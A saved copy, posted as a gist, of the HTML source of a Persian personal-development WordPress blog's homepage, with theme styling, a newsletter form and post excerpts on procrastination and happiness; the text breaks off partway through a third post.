Skip to content

Instantly share code, notes, and snippets.

/data.html Secret
Created Apr 9, 2017

Embed
What would you like to do?
<!DOCTYPE html>
<html dir="rtl" lang="fa-IR" class="no-js">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width">
<link rel="profile" href="http://gmpg.org/xfn/11">
<link rel="pingback" href="http://www.1tajrobe.com/xmlrpc.php">
<!--[if lt IE 9]>
<script src="http://www.1tajrobe.com/wp-content/themes/twentyfifteen/js/html5.js"></script>
<![endif]-->
<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>
<title>یک تجربه &#8211; برای تمام زندگی!</title>
<link rel='dns-prefetch' href='//platform-api.sharethis.com' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel='dns-prefetch' href='//s.w.org' />
<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />
<link rel="alternate" type="application/rss+xml" title="یک تجربه &raquo; خوراک" href="http://www.1tajrobe.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="یک تجربه &raquo; خوراک دیدگاه‌ها" href="http://www.1tajrobe.com/comments/feed/" />
<script type="text/javascript">
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.2.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.2.1\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/www.1tajrobe.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.7.3"}};
!function(a,b,c){function d(a){var b,c,d,e,f=String.fromCharCode;if(!k||!k.fillText)return!1;switch(k.clearRect(0,0,j.width,j.height),k.textBaseline="top",k.font="600 32px Arial",a){case"flag":return k.fillText(f(55356,56826,55356,56819),0,0),!(j.toDataURL().length<3e3)&&(k.clearRect(0,0,j.width,j.height),k.fillText(f(55356,57331,65039,8205,55356,57096),0,0),b=j.toDataURL(),k.clearRect(0,0,j.width,j.height),k.fillText(f(55356,57331,55356,57096),0,0),c=j.toDataURL(),b!==c);case"emoji4":return k.fillText(f(55357,56425,55356,57341,8205,55357,56507),0,0),d=j.toDataURL(),k.clearRect(0,0,j.width,j.height),k.fillText(f(55357,56425,55356,57341,55357,56507),0,0),e=j.toDataURL(),d!==e}return!1}function e(a){var c=b.createElement("script");c.src=a,c.defer=c.type="text/javascript",b.getElementsByTagName("head")[0].appendChild(c)}var f,g,h,i,j=b.createElement("canvas"),k=j.getContext&&j.getContext("2d");for(i=Array("flag","emoji4"),c.supports={everything:!0,everythingExceptFlag:!0},h=0;h<i.length;h++)c.supports[i[h]]=d(i[h]),c.supports.everything=c.supports.everything&&c.supports[i[h]],"flag"!==i[h]&&(c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&c.supports[i[h]]);c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&!c.supports.flag,c.DOMReady=!1,c.readyCallback=function(){c.DOMReady=!0},c.supports.everything||(g=function(){c.readyCallback()},b.addEventListener?(b.addEventListener("DOMContentLoaded",g,!1),a.addEventListener("load",g,!1)):(a.attachEvent("onload",g),b.attachEvent("onreadystatechange",function(){"complete"===b.readyState&&c.readyCallback()})),f=c.source||{},f.concatemoji?e(f.concatemoji):f.wpemoji&&f.twemoji&&(e(f.twemoji),e(f.wpemoji)))}(window,document,window._wpemojiSettings);
</script>
<style type="text/css">
img.wp-smiley,
img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: 1em !important;
width: 1em !important;
margin: 0 .07em !important;
vertical-align: -0.1em !important;
background: none !important;
padding: 0 !important;
}
</style>
<link rel='stylesheet' id='yarppWidgetCss-css' href='http://www.1tajrobe.com/wp-content/plugins/yet-another-related-posts-plugin/style/widget.css?ver=4.7.3' type='text/css' media='all' />
<link rel='stylesheet' id='validate-engine-css-css' href='http://www.1tajrobe.com/wp-content/plugins/wysija-newsletters/css/validationEngine.jquery.css?ver=2.7.8' type='text/css' media='all' />
<link rel='stylesheet' id='twentyfifteen-fonts-css' href='https://fonts.googleapis.com/css?family=Noto+Sans%3A400italic%2C700italic%2C400%2C700&#038;subset=latin%2Clatin-ext' type='text/css' media='all' />
<link rel='stylesheet' id='genericons-css' href='http://www.1tajrobe.com/wp-content/themes/twentyfifteen/genericons/genericons.css?ver=3.2' type='text/css' media='all' />
<link rel='stylesheet' id='twentyfifteen-style-css' href='http://www.1tajrobe.com/wp-content/themes/twentyfifteen/style.css?ver=4.7.3' type='text/css' media='all' />
<style id='twentyfifteen-style-inline-css' type='text/css'>
/* Color Scheme */
/* Background Color */
body {
background-color: #e9f2f9;
}
/* Sidebar Background Color */
body:before,
.site-header {
background-color: #55c3dc;
}
/* Box Background Color */
.post-navigation,
.pagination,
.secondary,
.site-footer,
.hentry,
.page-header,
.page-content,
.comments-area,
.widecolumn {
background-color: #ffffff;
}
/* Box Background Color */
button,
input[type="button"],
input[type="reset"],
input[type="submit"],
.pagination .prev,
.pagination .next,
.widget_calendar tbody a,
.widget_calendar tbody a:hover,
.widget_calendar tbody a:focus,
.page-links a,
.page-links a:hover,
.page-links a:focus,
.sticky-post {
color: #ffffff;
}
/* Main Text Color */
button,
input[type="button"],
input[type="reset"],
input[type="submit"],
.pagination .prev,
.pagination .next,
.widget_calendar tbody a,
.page-links a,
.sticky-post {
background-color: #22313f;
}
/* Main Text Color */
body,
blockquote cite,
blockquote small,
a,
.dropdown-toggle:after,
.image-navigation a:hover,
.image-navigation a:focus,
.comment-navigation a:hover,
.comment-navigation a:focus,
.widget-title,
.entry-footer a:hover,
.entry-footer a:focus,
.comment-metadata a:hover,
.comment-metadata a:focus,
.pingback .edit-link a:hover,
.pingback .edit-link a:focus,
.comment-list .reply a:hover,
.comment-list .reply a:focus,
.site-info a:hover,
.site-info a:focus {
color: #22313f;
}
/* Main Text Color */
.entry-content a,
.entry-summary a,
.page-content a,
.comment-content a,
.pingback .comment-body > a,
.author-description a,
.taxonomy-description a,
.textwidget a,
.entry-footer a:hover,
.comment-metadata a:hover,
.pingback .edit-link a:hover,
.comment-list .reply a:hover,
.site-info a:hover {
border-color: #22313f;
}
/* Secondary Text Color */
button:hover,
button:focus,
input[type="button"]:hover,
input[type="button"]:focus,
input[type="reset"]:hover,
input[type="reset"]:focus,
input[type="submit"]:hover,
input[type="submit"]:focus,
.pagination .prev:hover,
.pagination .prev:focus,
.pagination .next:hover,
.pagination .next:focus,
.widget_calendar tbody a:hover,
.widget_calendar tbody a:focus,
.page-links a:hover,
.page-links a:focus {
background-color: #22313f; /* Fallback for IE7 and IE8 */
background-color: rgba( 34, 49, 63, 0.7);
}
/* Secondary Text Color */
blockquote,
a:hover,
a:focus,
.main-navigation .menu-item-description,
.post-navigation .meta-nav,
.post-navigation a:hover .post-title,
.post-navigation a:focus .post-title,
.image-navigation,
.image-navigation a,
.comment-navigation,
.comment-navigation a,
.widget,
.author-heading,
.entry-footer,
.entry-footer a,
.taxonomy-description,
.page-links > .page-links-title,
.entry-caption,
.comment-author,
.comment-metadata,
.comment-metadata a,
.pingback .edit-link,
.pingback .edit-link a,
.post-password-form label,
.comment-form label,
.comment-notes,
.comment-awaiting-moderation,
.logged-in-as,
.form-allowed-tags,
.no-comments,
.site-info,
.site-info a,
.wp-caption-text,
.gallery-caption,
.comment-list .reply a,
.widecolumn label,
.widecolumn .mu_register label {
color: #22313f; /* Fallback for IE7 and IE8 */
color: rgba( 34, 49, 63, 0.7);
}
/* Secondary Text Color */
blockquote,
.logged-in-as a:hover,
.comment-author a:hover {
border-color: #22313f; /* Fallback for IE7 and IE8 */
border-color: rgba( 34, 49, 63, 0.7);
}
/* Border Color */
hr,
.dropdown-toggle:hover,
.dropdown-toggle:focus {
background-color: #22313f; /* Fallback for IE7 and IE8 */
background-color: rgba( 34, 49, 63, 0.1);
}
/* Border Color */
pre,
abbr[title],
table,
th,
td,
input,
textarea,
.main-navigation ul,
.main-navigation li,
.post-navigation,
.post-navigation div + div,
.pagination,
.comment-navigation,
.widget li,
.widget_categories .children,
.widget_nav_menu .sub-menu,
.widget_pages .children,
.site-header,
.site-footer,
.hentry + .hentry,
.author-info,
.entry-content .page-links a,
.page-links > span,
.page-header,
.comments-area,
.comment-list + .comment-respond,
.comment-list article,
.comment-list .pingback,
.comment-list .trackback,
.comment-list .reply a,
.no-comments {
border-color: #22313f; /* Fallback for IE7 and IE8 */
border-color: rgba( 34, 49, 63, 0.1);
}
/* Border Focus Color */
a:focus,
button:focus,
input:focus {
outline-color: #22313f; /* Fallback for IE7 and IE8 */
outline-color: rgba( 34, 49, 63, 0.3);
}
input:focus,
textarea:focus {
border-color: #22313f; /* Fallback for IE7 and IE8 */
border-color: rgba( 34, 49, 63, 0.3);
}
/* Sidebar Link Color */
.secondary-toggle:before {
color: #ffffff;
}
.site-title a,
.site-description {
color: #ffffff;
}
/* Sidebar Text Color */
.site-title a:hover,
.site-title a:focus {
color: rgba( 255, 255, 255, 0.7);
}
/* Sidebar Border Color */
.secondary-toggle {
border-color: #ffffff; /* Fallback for IE7 and IE8 */
border-color: rgba( 255, 255, 255, 0.1);
}
/* Sidebar Border Focus Color */
.secondary-toggle:hover,
.secondary-toggle:focus {
border-color: #ffffff; /* Fallback for IE7 and IE8 */
border-color: rgba( 255, 255, 255, 0.3);
}
.site-title a {
outline-color: #ffffff; /* Fallback for IE7 and IE8 */
outline-color: rgba( 255, 255, 255, 0.3);
}
/* Meta Background Color */
.entry-footer {
background-color: #f1f1f1;
}
@media screen and (min-width: 38.75em) {
/* Main Text Color */
.page-header {
border-color: #22313f;
}
}
@media screen and (min-width: 59.6875em) {
/* Make sure its transparent on desktop */
.site-header,
.secondary {
background-color: transparent;
}
/* Sidebar Background Color */
.widget button,
.widget input[type="button"],
.widget input[type="reset"],
.widget input[type="submit"],
.widget_calendar tbody a,
.widget_calendar tbody a:hover,
.widget_calendar tbody a:focus {
color: #55c3dc;
}
/* Sidebar Link Color */
.secondary a,
.dropdown-toggle:after,
.widget-title,
.widget blockquote cite,
.widget blockquote small {
color: #ffffff;
}
.widget button,
.widget input[type="button"],
.widget input[type="reset"],
.widget input[type="submit"],
.widget_calendar tbody a {
background-color: #ffffff;
}
.textwidget a {
border-color: #ffffff;
}
/* Sidebar Text Color */
.secondary a:hover,
.secondary a:focus,
.main-navigation .menu-item-description,
.widget,
.widget blockquote,
.widget .wp-caption-text,
.widget .gallery-caption {
color: rgba( 255, 255, 255, 0.7);
}
.widget button:hover,
.widget button:focus,
.widget input[type="button"]:hover,
.widget input[type="button"]:focus,
.widget input[type="reset"]:hover,
.widget input[type="reset"]:focus,
.widget input[type="submit"]:hover,
.widget input[type="submit"]:focus,
.widget_calendar tbody a:hover,
.widget_calendar tbody a:focus {
background-color: rgba( 255, 255, 255, 0.7);
}
.widget blockquote {
border-color: rgba( 255, 255, 255, 0.7);
}
/* Sidebar Border Color */
.main-navigation ul,
.main-navigation li,
.widget input,
.widget textarea,
.widget table,
.widget th,
.widget td,
.widget pre,
.widget li,
.widget_categories .children,
.widget_nav_menu .sub-menu,
.widget_pages .children,
.widget abbr[title] {
border-color: rgba( 255, 255, 255, 0.1);
}
.dropdown-toggle:hover,
.dropdown-toggle:focus,
.widget hr {
background-color: rgba( 255, 255, 255, 0.1);
}
.widget input:focus,
.widget textarea:focus {
border-color: rgba( 255, 255, 255, 0.3);
}
.sidebar a:focus,
.dropdown-toggle:focus {
outline-color: rgba( 255, 255, 255, 0.3);
}
}
</style>
<!--[if lt IE 9]>
<link rel='stylesheet' id='twentyfifteen-ie-css' href='http://www.1tajrobe.com/wp-content/themes/twentyfifteen/css/ie.css?ver=20141010' type='text/css' media='all' />
<![endif]-->
<!--[if lt IE 8]>
<link rel='stylesheet' id='twentyfifteen-ie7-css' href='http://www.1tajrobe.com/wp-content/themes/twentyfifteen/css/ie7.css?ver=20141010' type='text/css' media='all' />
<![endif]-->
<script type='text/javascript' src='http://www.1tajrobe.com/wp-includes/js/jquery/jquery.js?ver=1.12.4'></script>
<script type='text/javascript' src='http://www.1tajrobe.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1'></script>
<script type='text/javascript' src='//platform-api.sharethis.com/js/sharethis.js#product=ga&#038;property=58b2fd7322968b001106dac2'></script>
<link rel='https://api.w.org/' href='http://www.1tajrobe.com/wp-json/' />
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.1tajrobe.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.1tajrobe.com/wp-includes/wlwmanifest.xml" />
<link rel="stylesheet" href="http://www.1tajrobe.com/wp-content/themes/twentyfifteen/rtl.css" type="text/css" media="screen" /><meta name="generator" content="WordPress 4.7.3" />
<style type="text/css" id="wp-custom-css">
/*
می توانید css خود را در اینجا اضافه کنید.
برای اطلاعات بیشتر بروی نماد کمک کلیک کنید.
*/
@font-face {
font-family: Samim;
src: url('/wp-content/themes/fonts/Samim.eot');
src: url('/wp-content/themes/fonts/Samim.eot?#iefix') format('embedded-opentype'),
url('/wp-content/themes/fonts/Samim.woff') format('woff'),
url('/wp-content/themes/fonts/Samim.ttf') format('truetype');
font-weight: normal;
}
@font-face {
font-family: Samim;
src: url('/wp-content/themes/fonts/Samim-Bold.eot');
src: url('/wp-content/themes/fonts/Samim-Bold.eot?#iefix') format('embedded-opentype'),
url('/wp-content/themes/fonts/Samim-Bold.woff') format('woff'),
url('/wp-content/themes/fonts/Samim-Bold.ttf') format('truetype');
font-weight: bold;
}
body, button, input[type="button"], input[type="reset"], input[type="submit"], input, select, textarea, blockquote cite, blockquote small, .post-password-form label, .main-navigation .menu-item-description, .post-navigation .meta-nav, .post-navigation .post-title, .pagination, .image-navigation, .comment-navigation, .site-title, .site-description, .widget-title, .widget_calendar caption, .widget_rss .rss-date, .widget_rss cite, .author-heading, .entry-footer, .page-title, .page-links, .entry-caption, .comments-title, .comment-reply-title, .comment-metadata, .pingback .edit-link, .comment-list .reply a, .comment-form label, .comment-notes, .comment-awaiting-moderation, .logged-in-as, .form-allowed-tags, .no-comments, .wp-caption-text, .gallery-caption{
font-family: Samim, Arial, Tahoma, sans-serif;
} </style>
</head>
<body class="rtl home blog">
<div id="page" class="hfeed site">
<a class="skip-link screen-reader-text" href="#content">رفتن به محتوا</a>
<div id="sidebar" class="sidebar">
<header id="masthead" class="site-header" role="banner">
<div class="site-branding">
<h1 class="site-title"><a href="http://www.1tajrobe.com/" rel="home">یک تجربه</a></h1>
<p class="site-description">برای تمام زندگی!</p>
<button class="secondary-toggle">فهرست و ابزارک‌ها</button>
</div><!-- .site-branding -->
</header><!-- .site-header -->
<div id="secondary" class="secondary">
<nav id="site-navigation" class="main-navigation" role="navigation">
<div class="menu-%d9%85%d9%86%d9%88%db%8c-%d8%a7%d8%b5%d9%84%db%8c-container"><ul id="menu-%d9%85%d9%86%d9%88%db%8c-%d8%a7%d8%b5%d9%84%db%8c" class="nav-menu"><li id="menu-item-401" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-401"><a href="http://www.1tajrobe.com/all/">یک تجربه در یک نگاه</a></li>
</ul></div> </nav><!-- .main-navigation -->
<div id="widget-area" class="widget-area" role="complementary">
<aside id="text-5" class="widget widget_text"><h2 class="widget-title">کانال تلگرام</h2> <div class="textwidget"><a href="https://t.me/onexp" target="_blank"><img src="http://www.1tajrobe.com/wp-content/uploads/2017/02/1tajrobe-telegram-channel.png"></a></div>
</aside><aside id="text-4" class="widget widget_text"><h2 class="widget-title">سلام!</h2> <div class="textwidget"><p>من صادق علوی زاده هستم و هدف اصلی من از راه اندازی این وبلاگ نوشتن در مورد تجربیات شخصی خودم در زمینه های زندگی شخصی، موفقیت، کسب و کار، مدیریت و دیگر زمینه هایی است که ممکن است به دیگران برای زندگی و کار بهتر کمک کند.<br />
با من همراه باشید و من را از نظرات و تجربیات خود نیز آگاه نمایید، و آنها را در اینجا با دیگران به اشتراک بگذارید.<br />
برای دریافت تجربیات این سایت در خبرنامه سایت با استفاده از فرم زیر عضو شوید. (نگران نباشید من هم از اسپم متنفرم!)</p>
</div>
</aside> <aside id="recent-posts-2" class="widget widget_recent_entries"> <h2 class="widget-title">آخرین تجربیات</h2> <ul>
<li>
<a href="http://www.1tajrobe.com/%d8%b1%d9%88%d8%b4-%d9%85%d9%82%d8%a7%d8%a8%d9%84%d9%87-%d8%a8%d8%a7-%d8%a8%d9%87-%d8%aa%d8%b9%d9%88%db%8c%d9%82-%d8%a7%d9%86%d8%af%d8%b2%d8%a7%db%8c-%da%a9%d8%a7%d8%b1%d9%87%d8%a7/">روش بیست ثانیه برای مقابله با به تعویق اندازی انجام کارها</a>
</li>
<li>
<a href="http://www.1tajrobe.com/%d9%84%d8%b0%d8%aa-%d8%a7%d8%b2-%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%a8%d8%a7-%d8%af%d8%a7%d8%b4%d8%aa%d9%86-%d8%b1%d8%a7%d8%b2%d9%87%d8%a7%db%8c-%da%a9%d9%88%da%86%da%a9/">لذت از زندگی با داشتن رازهای کوچک</a>
</li>
<li>
<a href="http://www.1tajrobe.com/%d8%aa%d8%b3%da%a9%db%8c%d9%86-%d8%af%d8%b1%d8%af-%d8%a8%d8%a7-%d8%aa%d8%b5%d9%88%d8%b1-%d8%a8%d8%af%d8%aa%d8%b1%db%8c%d9%86-%d8%ad%d8%a7%d9%84%d8%aa/">تسکین درد با تصور بدترین حالت!</a>
</li>
<li>
<a href="http://www.1tajrobe.com/5-%d8%af%d9%84%db%8c%d9%84-%d8%a8%d8%b1%d8%a7%db%8c-%d8%a7%db%8c%d9%86%da%a9%d9%87-%d8%a8%d8%a7%db%8c%d8%af-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3-%d8%b4%d9%88%db%8c%d9%85%d8%9f/">۵ دلیل برای اینکه باید برنامه نویس شویم</a>
</li>
<li>
<a href="http://www.1tajrobe.com/%da%86%da%af%d9%88%d9%86%d9%87-%d9%86%d9%88%d8%b4%d8%aa%d9%86-%d9%85%db%8c-%d8%aa%d9%88%d8%a7%d9%86%d8%af-%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%b1%d8%a7-%d8%aa%d8%ba%db%8c%db%8c%d8%b1-%d8%af%d9%87%d8%af/">چگونه نوشتن می تواند زندگی را تغییر دهد؟</a>
</li>
</ul>
</aside> <aside id="wysija-2" class="widget widget_wysija"><h2 class="widget-title">مشترک 1تجربه شوید</h2><div class="widget_wysija_cont"><div id="msg-form-wysija-2" class="wysija-msg ajax"></div><form id="form-wysija-2" method="post" action="#wysija" class="widget_wysija">
<p class="wysija-paragraph">
<label>نام</label>
<input type="text" name="wysija[user][firstname]" class="wysija-input " title="نام" value="" />
<span class="abs-req">
<input type="text" name="wysija[user][abs][firstname]" class="wysija-input validated[abs][firstname]" value="" />
</span>
</p>
<p class="wysija-paragraph">
<label>ایمیل <span class="wysija-required">*</span></label>
<input type="text" name="wysija[user][email]" class="wysija-input validate[required,custom[email]]" title="ایمیل" value="" />
<span class="abs-req">
<input type="text" name="wysija[user][abs][email]" class="wysija-input validated[abs][email]" value="" />
</span>
</p>
<input class="wysija-submit wysija-submit-field" type="submit" value="مشترک شدن!" />
<input type="hidden" name="form_id" value="1" />
<input type="hidden" name="action" value="save" />
<input type="hidden" name="controller" value="subscribers" />
<input type="hidden" value="1" name="wysija-page" />
<input type="hidden" name="wysija[user_list][list_ids]" value="1" />
</form></div></aside> </div><!-- .widget-area -->
</div><!-- .secondary -->
</div><!-- .sidebar -->
<div id="content" class="site-content">
<div id="primary" class="content-area">
<main id="main" class="site-main" role="main">
<article id="post-392" class="post-392 post type-post status-publish format-standard has-post-thumbnail hentry category-13 tag-147 tag-116 tag-146 tag-148">
<a class="post-thumbnail" href="http://www.1tajrobe.com/%d8%b1%d9%88%d8%b4-%d9%85%d9%82%d8%a7%d8%a8%d9%84%d9%87-%d8%a8%d8%a7-%d8%a8%d9%87-%d8%aa%d8%b9%d9%88%db%8c%d9%82-%d8%a7%d9%86%d8%af%d8%b2%d8%a7%db%8c-%da%a9%d8%a7%d8%b1%d9%87%d8%a7/" aria-hidden="true">
<img width="825" height="510" src="http://www.1tajrobe.com/wp-content/uploads/2017/03/1Tajrobe-procrastination-825x510.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="روش بیست ثانیه برای مقابله با به تعویق اندازی انجام کارها" /> </a>
<header class="entry-header">
<h2 class="entry-title"><a href="http://www.1tajrobe.com/%d8%b1%d9%88%d8%b4-%d9%85%d9%82%d8%a7%d8%a8%d9%84%d9%87-%d8%a8%d8%a7-%d8%a8%d9%87-%d8%aa%d8%b9%d9%88%db%8c%d9%82-%d8%a7%d9%86%d8%af%d8%b2%d8%a7%db%8c-%da%a9%d8%a7%d8%b1%d9%87%d8%a7/" rel="bookmark">روش بیست ثانیه برای مقابله با به تعویق اندازی انجام کارها</a></h2> </header><!-- .entry-header -->
<div class="entry-content">
<p>شما هم مثل من در انجام دادن کارهای روزمره یا وظایف کاری و درسی خودتون یک احساس تنبلی یا اصطلاحاً پشت گوش اندازی داشتین؟</p>
<p>قبلا هم در این مورد نوشته بودم که <a href="http://www.1tajrobe.com/%d8%b1%db%8c%d8%b4%d9%87-%d8%aa%d9%85%d8%a7%d9%85%db%8c-%d9%85%d8%b4%da%a9%d9%84%d8%a7%d8%aa-%d9%85%d8%a7-%da%86%db%8c%d8%b3%d8%aa%d8%9f/">ترس یکی از دلایل اصلی بسیاری از مشکلات ما</a> از جمله همین پشت گوش اندازی کارهاست. ترس از اینکه انجام کار برامون راحت نباشه و ما رو از محدوده راحت خودمون دور میکنه. همینطور ترس از اینکه نتونیم اون کار رو به نحو احسن و به بهترین حالت ممکن انجام بدیم هم می تونه دلیل انجام ندادن یک کاری باشه.</p>
<p>این مشکلی هست که در زمینه های مختلف دیده میشه و می تونیم بصورت روزمره در خودمون و دیگران به دفعات ببینیم. <a href="http://www.1tajrobe.com/%d8%b1%d9%88%d8%b4-%d9%85%d9%82%d8%a7%d8%a8%d9%84%d9%87-%d8%a8%d8%a7-%d8%a8%d9%87-%d8%aa%d8%b9%d9%88%db%8c%d9%82-%d8%a7%d9%86%d8%af%d8%b2%d8%a7%db%8c-%da%a9%d8%a7%d8%b1%d9%87%d8%a7/#more-392" class="more-link">ادامه خواندن <span class="screen-reader-text">روش بیست ثانیه برای مقابله با به تعویق اندازی انجام کارها</span></a></p>
</div><!-- .entry-content -->
<footer class="entry-footer">
<span class="posted-on"><span class="screen-reader-text">ارسال شده در </span><a href="http://www.1tajrobe.com/%d8%b1%d9%88%d8%b4-%d9%85%d9%82%d8%a7%d8%a8%d9%84%d9%87-%d8%a8%d8%a7-%d8%a8%d9%87-%d8%aa%d8%b9%d9%88%db%8c%d9%82-%d8%a7%d9%86%d8%af%d8%b2%d8%a7%db%8c-%da%a9%d8%a7%d8%b1%d9%87%d8%a7/" rel="bookmark"><time class="entry-date published" datetime="۱۳۹۵/۱۲/۲۷ ۱۷:۲۷:۱۳">۲۷ اسفند ۹۵</time><time class="updated" datetime="۱۳۹۵/۱۲/۲۷ ۱۷:۲۷:۱۳">۲۷ اسفند ۹۵</time></a></span><span class="cat-links"><span class="screen-reader-text">دسته‌ها </span><a href="http://www.1tajrobe.com/category/%d8%a2%d9%85%d9%88%d8%b2%d8%b4-%d9%87%d8%a7%db%8c-%d9%85%d9%81%db%8c%d8%af/" rel="category tag">آموزش های مفید</a></span><span class="tags-links"><span class="screen-reader-text">برچسب‌ها </span><a href="http://www.1tajrobe.com/tag/%d8%a7%d9%86%d8%ac%d8%a7%d9%85-%da%a9%d8%a7%d8%b1/" rel="tag">انجام کار</a>، <a href="http://www.1tajrobe.com/tag/%d8%a8%d9%87-%d8%aa%d8%b9%d9%88%db%8c%d9%82-%d8%a7%d9%86%d8%af%d8%a7%d8%b2%db%8c/" rel="tag">به تعویق اندازی</a>، <a href="http://www.1tajrobe.com/tag/%d9%be%d8%b4%d8%aa%e2%80%8c%da%af%d9%88%d8%b4-%d8%a7%d9%86%d8%af%d8%a7%d8%b2%db%8c-%da%a9%d8%a7%d8%b1%d9%87%d8%a7/" rel="tag">پشت‌گوش اندازی کارها</a>، <a href="http://www.1tajrobe.com/tag/%d9%85%d9%82%d8%a7%d9%88%d9%85%d8%aa-%d8%b0%d9%87%d9%86/" rel="tag">مقاومت ذهن</a></span><span class="comments-link"><a href="http://www.1tajrobe.com/%d8%b1%d9%88%d8%b4-%d9%85%d9%82%d8%a7%d8%a8%d9%84%d9%87-%d8%a8%d8%a7-%d8%a8%d9%87-%d8%aa%d8%b9%d9%88%db%8c%d9%82-%d8%a7%d9%86%d8%af%d8%b2%d8%a7%db%8c-%da%a9%d8%a7%d8%b1%d9%87%d8%a7/#comments">۵ دیدگاه <span class="screen-reader-text">برای روش بیست ثانیه برای مقابله با به تعویق اندازی انجام کارها</span></a></span> </footer><!-- .entry-footer -->
</article><!-- #post-## -->
<article id="post-377" class="post-377 post type-post status-publish format-standard hentry category-142 tag-144 tag-59 tag-143 tag-145 tag-94">
<header class="entry-header">
<h2 class="entry-title"><a href="http://www.1tajrobe.com/%d9%84%d8%b0%d8%aa-%d8%a7%d8%b2-%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%a8%d8%a7-%d8%af%d8%a7%d8%b4%d8%aa%d9%86-%d8%b1%d8%a7%d8%b2%d9%87%d8%a7%db%8c-%da%a9%d9%88%da%86%da%a9/" rel="bookmark">لذت از زندگی با داشتن رازهای کوچک</a></h2> </header><!-- .entry-header -->
<div class="entry-content">
<p>همیشه انسان به دنبال لذت بردن از زندگی بوده و هست. فلاسفه بسیاری در این مورد گفته‌اند و نوشته‌اند، حتما بعدا در مورد برخی از انها خواهم نوشت، اما اینجا قصد دارم تا یک تجربه خوب و کاربردی را با شما به اشتراک بزارم در مورد یک راه برای اینکه شادی و لذت رو در درون خود به بهترین نحو حس کنیم.</p>
<p>البته اشتراک این تجربه به نوعی نقض همین تجربه هست! چرا که چیزی که می خوام بگم اینه که نباید در این مورد چیزی بگین! میدونم خیلی گیج کننده بود اما اگر با من همراه باشید در آخر متوجه میشید چرا میگم نباید بگم.</p>
<p> <a href="http://www.1tajrobe.com/%d9%84%d8%b0%d8%aa-%d8%a7%d8%b2-%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%a8%d8%a7-%d8%af%d8%a7%d8%b4%d8%aa%d9%86-%d8%b1%d8%a7%d8%b2%d9%87%d8%a7%db%8c-%da%a9%d9%88%da%86%da%a9/#more-377" class="more-link">ادامه خواندن <span class="screen-reader-text">لذت از زندگی با داشتن رازهای کوچک</span></a></p>
</div><!-- .entry-content -->
<footer class="entry-footer">
<span class="posted-on"><span class="screen-reader-text">ارسال شده در </span><a href="http://www.1tajrobe.com/%d9%84%d8%b0%d8%aa-%d8%a7%d8%b2-%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%a8%d8%a7-%d8%af%d8%a7%d8%b4%d8%aa%d9%86-%d8%b1%d8%a7%d8%b2%d9%87%d8%a7%db%8c-%da%a9%d9%88%da%86%da%a9/" rel="bookmark"><time class="entry-date published" datetime="۱۳۹۵/۱۲/۱۴ ۱۵:۱۸:۱۶">۱۴ اسفند ۹۵</time><time class="updated" datetime="۱۳۹۵/۱۲/۱۴ ۱۵:۱۸:۱۶">۱۴ اسفند ۹۵</time></a></span><span class="cat-links"><span class="screen-reader-text">دسته‌ها </span><a href="http://www.1tajrobe.com/category/%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%b4%d8%a7%d8%af/" rel="category tag">زندگی شاد</a></span><span class="tags-links"><span class="screen-reader-text">برچسب‌ها </span><a href="http://www.1tajrobe.com/tag/%da%86%da%af%d9%88%d9%86%d9%87-%d8%b4%d8%a7%d8%af-%d8%a8%d8%a7%d8%b4%db%8c%d9%85/" rel="tag">چگونه شاد باشیم</a>، <a href="http://www.1tajrobe.com/tag/%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%b4%d8%a7%d8%af/" rel="tag">زندگی شاد</a>، <a href="http://www.1tajrobe.com/tag/%d8%b4%d8%a7%d8%af%db%8c/" rel="tag">شادی</a>، <a href="http://www.1tajrobe.com/tag/%da%a9%d8%a7%d8%b1-%d8%ae%db%8c%d8%b1/" rel="tag">کار خیر</a>، <a href="http://www.1tajrobe.com/tag/%d9%84%d8%b0%d8%aa-%d8%a7%d8%b2-%d8%b2%d9%86%d8%af%da%af%db%8c/" rel="tag">لذت از زندگی</a></span><span class="comments-link"><a href="http://www.1tajrobe.com/%d9%84%d8%b0%d8%aa-%d8%a7%d8%b2-%d8%b2%d9%86%d8%af%da%af%db%8c-%d8%a8%d8%a7-%d8%af%d8%a7%d8%b4%d8%aa%d9%86-%d8%b1%d8%a7%d8%b2%d9%87%d8%a7%db%8c-%da%a9%d9%88%da%86%da%a9/#respond"><span class="screen-reader-text"> برای لذت از زندگی با داشتن رازهای کوچک</span> دیدگاهی بنویسید</a></span> </footer><!-- .entry-footer -->
</article><!-- #post-## -->
<article id="post-371" class="post-371 post type-post status-publish format-standard hentry category-13 tag-101 tag-140 tag-141">
<header class="entry-header">
<h2 class="entry-title"><a href="http://www.1tajrobe.com/%d8%aa%d8%b3%da%a9%db%8c%d9%86-%d8%af%d8%b1%d8%af-%d8%a8%d8%a7-%d8%aa%d8%b5%d9%88%d8%b1-%d8%a8%d8%af%d8%aa%d8%b1%db%8c%d9%86-%d8%ad%d8%a7%d9%84%d8%aa/" rel="bookmark">تسکین درد با تصور بدترین حالت!</a></h2> </header><!-- .entry-header -->
<div class="entry-content">
